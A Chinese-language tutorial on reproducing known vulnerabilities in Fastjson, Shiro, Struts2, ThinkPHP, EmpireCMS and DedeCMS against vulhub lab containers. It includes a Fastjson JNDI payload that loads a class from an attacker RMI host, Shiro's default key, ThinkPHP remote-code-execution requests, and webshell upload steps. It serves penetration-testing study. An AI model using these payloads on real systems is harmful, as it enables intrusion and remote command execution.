框架漏洞
字数 1650 2025-08-10 08:54:06
框架漏洞与常见CMS漏洞复现指南
一、框架漏洞概述
1. 框架漏洞(Framework Vulnerabilities)与中间件漏洞(Middleware Vulnerabilities)对比
相同点:
- 都源于第三方组件
- 都可能导致应用程序安全问题
不同点:
- 范围:框架漏洞在开发框架中发现,中间件漏洞在依赖的中间件组件中发现
- 影响范围:框架漏洞影响整个应用,中间件漏洞影响特定组件
- 解决方法:框架漏洞需升级框架,中间件漏洞需升级中间件或配置
二、Fastjson反序列化RCE漏洞(CVE-2017-18349)
1. 漏洞简介
- Fastjson是阿里巴巴的JSON解析库
- 漏洞版本:fastjson <= 1.2.24
- 利用autoType功能实例化恶意类
2. 漏洞原理
- 通过控制JNDI客户端传入的URL,加载恶意RMI服务
- 利用References类的className和codebase url加载远程恶意类
3. 复现步骤
靶机环境:
apt-get update
sudo apt-get install docker.io docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
攻击机环境:
- 配置Java 1.8.0_20环境
- 编写恶意类Exp.java
- 开启HTTP服务
- 使用marshalsec启动RMI服务器
利用过程:
- 发送恶意POST请求:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:9999/Exp",
"autoCommit":true
}
}
三、Shiro-550反序列化漏洞(CVE-2016-4437)
1. 漏洞原理
- Shiro的RememberMe功能使用AES加密用户信息
- 默认密钥kPH+bIxk5D2deZiIxcaaaA==被硬编码
- 攻击者可构造恶意RememberMe Cookie执行RCE
2. 漏洞验证
- 在Cookie中添加rememberMe=1
- 返回包中有rememberMe=deleteMe则存在漏洞
3. 复现步骤
- 搭建vulhub环境
- 使用shiro_attack工具探测和利用
- 通过工具执行命令
四、Struts2漏洞
1. S2-052反序列化漏洞(CVE-2017-9805)
- 影响版本:Struts 2.1.2-2.3.33, 2.5-2.5.12
- 通过修改Content-Type为application/xml传递恶意XML
利用方法:
- 发送恶意XML请求
- 修改Content-Type头
2. S2-048 Content-Type注入漏洞(CVE-2017-9791)
- 在Content-Type头部注入OGNL表达式
- 影响Struts2-struts1-plugin插件
利用方法:
- 在表单中提交OGNL表达式
- 执行任意命令
五、ThinkPHP漏洞
1. ThinkPHP5.0.23远程代码执行
- 影响版本:5.x < 5.1.31, <= 5.0.23
- 通过_method=__construct构造利用链
利用方法:
POST /index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
2. ThinkPHP5.0.22/5.1.29远程代码执行
- 通过控制器名注入执行任意方法
利用方法:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
六、帝国CMS漏洞
1. 后台代码注入
- 导入系统模型时插入恶意代码
- 访问生成的文件执行代码
2. CVE-2018-18086
- LoadInMod函数文件上传漏洞
- 影响版本:<=7.5
3. CVE-2018-19462
- 后台SQL注入漏洞
- 通过执行SQL语句getshell
七、织梦CMS漏洞
1. DedeCMS v5.8.1未授权RCE
- 通过flink.php的Referer字段注入代码
利用方法:
- 修改Referer为恶意代码
- 访问触发页面
2. 后台文件上传漏洞
- 上传图片马
- 通过include包含执行
或 - 上传文件上传页面
- 绕过限制上传webshell
总结
本文详细介绍了多种框架和CMS的漏洞原理及复现方法,包括Fastjson、Shiro、Struts2、ThinkPHP、帝国CMS和织梦CMS等。在实际渗透测试中,应根据目标系统版本选择对应的漏洞利用方式,同时注意漏洞利用可能对系统造成的影响。防御方面,建议及时升级到最新版本,禁用不必要的功能,并加强输入验证和过滤。